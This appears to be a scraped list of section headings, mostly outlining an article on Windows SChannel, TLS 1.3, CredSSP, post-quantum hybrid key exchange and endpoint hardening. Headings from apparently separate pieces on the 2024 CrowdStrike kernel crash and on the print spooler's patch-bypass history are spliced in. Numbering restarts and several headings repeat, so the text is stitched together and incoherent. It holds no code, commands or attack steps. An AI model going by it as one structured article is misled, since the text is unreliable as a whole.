8. Modern SChannel: TLS 1.3, CredSSP for RDP, TPM-Backed Keys, and the LSASS Moat

TLS 1.3 in SChannel

CredSSP and the Remote Desktop NLA path

TPM-backed server keys via the Microsoft Platform Crypto Provider

LSA Protection (RunAsPPL) and Credential Guard

9. The Post-Quantum Pivot: ML-KEM, SymCrypt, and Hybrid TLS 1.3

What is shipping

Hybrid TLS 1.3 key exchange: X25519MLKEM768

The agility payoff

10. Competing Approaches: How Other TLS Stacks Solve Algorithm Agility

OpenSSL 3.x: OSSL_PROVIDER, explicit contexts, three in-tree providers

BoringSSL's anti-agility position

NSS and PKCS #11

Apple Network framework and CryptoKit

.NET SslStream -- one API, three host backends

Five substrates, five answers

11. Limits and Open Problems

The downgrade-attack envelope

Signature-side PQC and the chain-size problem

Composite-identifier namespace sprawl in CNG

The opaque-engine bargain

Legacy protocol removal versus disablement

Dead ends and the diseases they failed to cure

12. Practical Guide: Nine Things to Do on a Windows-Served TLS Endpoint

1. Inventory

2. Disable the legacy protocol versions

3. Disable RC4 and 3DES at the cipher level

4. Cipher-suite ordering for TLS 1.2

5. Enable OCSP stapling on IIS, and enable CAPI2/Operational logging for distrust observability

6. Enforce RunAsPPL and Credential Guard

7. Lock down CredSSP / RDP NLA on Remote Desktop Session Hosts

8. FIPS-mode toggle: what FipsAlgorithmPolicy = 1 actually means in 2026

9. Pilot the PQC hybrid where you can

Common pitfalls

13. Frequently Asked Questions

Seventy-Eight Minutes That Evicted Antivirus From the Windows Kernel

1. 04:09 UTC, Friday, July 19, 2024

The numbers, anchored to primary sources

The fault, as Microsoft's dump shows it

2. Why Antivirus Lives in the Kernel

The 1999 to 2003 transition

The rootkit pressure

2. Before CNG: PCT 1.0, SSL, and the Tyranny of `ALG_ID`

The CSP layer underneath: `PROV_RSA_SCHANNEL` and `CALG_TLS1PRF`

The `SSL Cipher Suite Order` GPO -- and why it is a Vista-era artifact, not a 2003-era one

7. The Certificate-Validation Pipeline: `CertGetCertificateChain`, OCSP, and the Microsoft Trusted Root Program

Hybrid TLS 1.3 key exchange: `X25519MLKEM768`

OpenSSL 3.x: `OSSL_PROVIDER`, explicit contexts, three in-tree providers

.NET `SslStream` -- one API, three host backends

8. FIPS-mode toggle: what `FipsAlgorithmPolicy = 1` actually means in 2026

What `csagent.sys` was trying to do

2. The Artifact: What `spoolsv.exe` Is and Why It Was Built This Way

4.2 Generation 2: `@cube0x0`, MS-PAR, and the Asynchronous-Variant Patch Bypass

5. The Architectural Concession: Why Microsoft Cannot Sandbox `spoolsv.exe`